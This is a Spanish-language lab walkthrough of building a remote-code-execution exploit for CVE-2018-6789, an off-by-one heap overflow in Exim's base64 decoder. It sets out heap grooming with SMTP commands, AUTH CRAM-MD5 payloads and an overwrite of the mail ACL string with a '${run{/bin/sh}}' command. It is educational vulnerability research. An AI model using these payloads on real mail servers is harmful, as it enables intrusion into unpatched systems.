
Guía paso a paso para el desarrollo de exploits para CVE-2018-6789, un desbordamiento de heap off-by-one en Exim, con análisis detallado de la disposición del heap y código completo de exploit en Python.
Instalar dependencias
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Descargar una versión antigua de exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Luego modificar Local/Makefile Para mayor comodidad, todas las rutas apuntan al directorio actual
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Esto facilita la depuración Luego compilar e instalar
make install
Modificar ./configure, sobrescribir con el siguiente contenido
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Primero, analicemos el parche en base64.c:
Donde result es el buffer donde se almacena el resultado de la decodificación base64, obtenido mediante la función store_get.
Se puede observar que el cálculo de size antes del parche es incorrecto. Cuando size está en el rango de 4n~4n+3, el tamaño calculado es igual, pero b64decode, al decodificar parámetros que no son múltiplos de 4, decodifica uno o dos bytes adicionales.
Por ejemplo, si enviamos directamente
auth_md5('Hf'*42)
size=0x40 Distribución de memoria resultante:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Probemos de nuevo
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Se desbordan dos bytes
Para mejorar el rendimiento, Exim implementa su propio mecanismo de gestión de memoria sobre el mecanismo de heap original. Actúa como un búfer intermedio entre el código y glibc, con el objetivo de reducir la cantidad de llamadas malloc y free.
Para Exim, un bloque de heap individual se denomina storeblock. Cada vez que se necesita, se divide en buffers de tamaño adecuado. Si un storeblock se agota, se solicita otro mediante malloc.
Cada storeblock tiene una estructura simple de lista enlazada:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Las principales API para el uso del heap se encuentran en store.c:
store_get
store_release
store_extend
store_reset
store_get se utiliza para obtener un buffer. El código clave es el siguiente:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Se puede observar que cada store_block solicitado tiene un tamaño mínimo de STORE_BLOCK_SIZE, es decir, 8192.
Por lo tanto, un store_block de 8192 bytes, más su cabecera y la cabecera del heap, tiene un tamaño total de 0x2020.

En Exim, cada vez que se ejecuta un comando enviado por el cliente, si el comando se ejecuta correctamente, se llama a store_reset para liberar la caché innecesaria y los store_block sobrantes. Aquí, "ejecución correcta" incluye que el formato del comando sea correcto, que el correo no contenga caracteres no válidos, etc. De lo contrario, no se llama a store_reset.
Esta vulnerabilidad es un clásico off-by-one (aunque en realidad puede desbordar dos bytes). Sin embargo, debido a la pequeña cantidad de bytes desbordados, no se pueden sobrescribir directamente estructuras sensibles en el heap. Por lo tanto, es necesario aprovechar algunas características de ptmalloc para amplificar el impacto de esta vulnerabilidad, convirtiéndola en un overflow o overlap de mayor alcance. Para las vulnerabilidades off-by-one, existe un método de explotación clásico: chunk enlarge -> chunk overlap. Se modifica el tamaño del chunk para agrandarlo y luego se falsifica una cabecera de chunk para evadir las comprobaciones de sanidad de glibc, logrando así la superposición de chunks y una cobertura más amplia.
El proceso principal aquí es: chunk enlarge -> chunk overlap -> corromper el puntero next en storeblock, y luego desencadenar store_reset para liberar un chunk arbitrario. Al solicitar este chunk nuevamente, se puede modificar su contenido (type confusion). Meh recomienda en su artículo modificar el bloque de heap donde reside la cadena ACL, ya que en el procesamiento de las cadenas ACL existe una funcionalidad de ejecución de comandos. Las cadenas ACL son muchas, pero la mayoría son NULL (posiblemente relacionado con el archivo de configuración). Aquí elijo la cadena acl_smtp_mail, cuya sintaxis para ejecutar comandos es:
${run{command}}
La distribución aproximada del heap es la siguiente:

El primer bloque de heap es el bloque obtenido de la decodificación base64, utilizado para el off-by-one. Por lo tanto, debe estar al final de un storeblock. Para mayor comodidad, aquí se solicita directamente un bloque de heap mayor a 0x2020 para almacenar el resultado de la decodificación base64. El segundo bloque es sender_helo_name, que se utiliza para sobrescribir el siguiente bloque. sender_helo_name no se almacena en un storeblock, sino que se asigna directamente mediante malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Por lo tanto, su tamaño es arbitrario. El tercer bloque es otro bloque obtenido de la decodificación base64, utilizado principalmente para falsificar la cabecera y ser sobrescrito. Por lo tanto, debe estar al inicio de un storeblock. Por comodidad, también se solicita un tamaño de 0x2020.
Mi exploit también se obtuvo siguiendo el análisis de otros en Internet. La idea general es la misma, aunque la disposición del heap es diferente a la de otros, por lo que algunos parámetros pequeños son diferentes.
Primero, generar un unsortedbin de tamaño 0x6060. Se puede lograr con el siguiente comando:
ehlo('a'*0x1000)
Cuando exim recibe "EHLO "+'a'*0x1000, en la función match_check_list de match.c se generan las siguientes tres cadenas:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
donde *name* es 'a'*0x1000
Dado que la longitud de name es 0x1000, cada cadena ocupará un storeblock individual. Estas tres cadenas estarán en tres storeblock consecutivos. Cuando exim completa con éxito el comando ehlo, en smtp_in.c, smtp_setup_msg libera las tres cadenas anteriores, obteniendo un bloque de heap de tamaño 0x6060:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
En este momento, la disposición del heap es la siguiente:

Para colocar sender_helo_name en medio del bloque de heap, necesitamos liberar el sender_helo_name original, luego ocupar el bloque de heap superior. Cuando el segundo sender_helo_name se coloque, liberamos el bloque superior. Aquí utilizo el comando unrecognized para ocupar espacio. Porque al recibir un comando unrecognized, el comando falla. Luego, en la siguiente ejecución exitosa, se liberará automáticamente. Cabe señalar que el principio de usar un comando unrecognized para ocupar espacio es que al enviar un comando a exim, este llama a synprot_error para reportar el error, similar a:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
Pero si el comando consiste solo en caracteres visibles, exim no asignará un nuevo bloque de heap:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
Si el comando contiene caracteres no imprimibles, exim asigna un nuevo buffer y convierte los caracteres no imprimibles a cadenas octales, por ejemplo '\xee' -> "\356". De ahí proviene length + (nonprintcount * 3 + 1).
Primero, colocar sender_ehlo_name en un bloque de heap pequeño, luego intentar enviar 0x800 '\xee'. Esto solicitará 0x800 + 1 + 0x800 * 3 = 0x2001. Como no hay suficiente espacio en el storeblock actual, se solicitará un nuevo store_block.
ehlo('b'*0x20)
unrec('\xee'*0x800)

Luego solicitar un sender_elho_name de tamaño 0x2010:
ehlo('x'*0x2020)
Esto primero liberará el sender_elho_name anterior de tamaño 0x20:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
Luego solicitar un nuevo sender_helo_name. Una vez completado todo, se llama a store_reset para limpiar los bloques innecesarios. Así, el bloque de mensaje de error de tamaño 0x2020 se libera y, junto con el sender_helo_name liberado anteriormente, se fusiona mediante malloc_consolidate para formar un nuevo bloque de tamaño 0x2050:

Con esto, la disposición del heap está básicamente completa. A continuación, ocupar el espacio y desencadenar la vulnerabilidad.
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
Ocupar el bloque superior, desbordar un byte para cambiar size de 0x2021 a 0x20f1. Luego ocupar el bloque inferior, falsificando un size de 0x1f61 para que apunte al siguiente bloque:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
Aquí se solicita otro bloque; de lo contrario, el storeblock sobrescrito es el último y su next es null.
auth_md5(b64encode('a'*0x1000))
Ahora se puede liberar sender_helo_name para causar chunk overlap. Sin embargo, hay un punto a tener en cuenta: como aún necesitamos el bloque inferior para proporcionar el puntero next (lo sobrescribimos para lograr un free arbitrario), no queremos que este bloque sea liberado. Por lo tanto, podemos construir un nombre inválido para liberar solo sender_helo_name:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
Si check_helo falla, el programa sale del bucle sin llamar a store_reset. Echemos un vistazo a la lógica de check_helo:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
Se puede ver que check_helo verifica los caracteres enviados, requiriendo que sean letras o algunos signos de puntuación, o helo_allow_chars. Generalmente helo_allow_chars está vacío, esto se configura en el archivo de configuración. Por lo tanto, podemos construir un sender_helo_name que contenga un espacio:
ehlo('pwn it!') #must include some invalide chars
Esto provoca la superposición de chunks. Luego ocupamos este bloque para sobrescribir el puntero next para que apunte al bloque donde reside la cadena ACL. Aquí hay un problema: otros exploits utilizan sobrescritura parcial para evitar ASLR, pero en mi entorno esto no funciona porque el bloque ACL y el bloque al que apunta next están muy separados:
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
Por lo tanto, mi exploit utiliza direcciones absolutas:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
De esta manera, el bloque que contiene la cadena ACL se agrega a la cadena de este store_block. Cuando cambiamos a un nuevo sender_helo_name, estos bloques se liberarán en store_reset. Por lo tanto, esta vez enviaremos un nombre válido:
ehlo('I'*16)
Ahora, al solicitar un nuevo bloque, podemos obtener el bloque donde reside la cadena ACL:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
Aquí sobrescribo la dirección a la que apunta acl_smtp_mail. Básicamente, todas las cadenas ACL están dentro de este bloque, ya que estas cadenas se leen una por una desde el archivo configure y se almacenan en el buffer obtenido por store_get, por lo que están contiguas dentro de este storeblock. Finalmente, llamamos a la API relacionada con ACL:
r.sendline('MAIL FROM: <[email protected]>')
Luego, en smtp_setup_msg -> acl_check -> acl_check_internal -> expand_string -> expand_cstring -> expand_string_internal -> child_open -> child_open_uid, se llama a execve para ejecutar el comando dentro de run. La información de depuración del lado del servidor muestra que el comando se ejecutó correctamente.

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789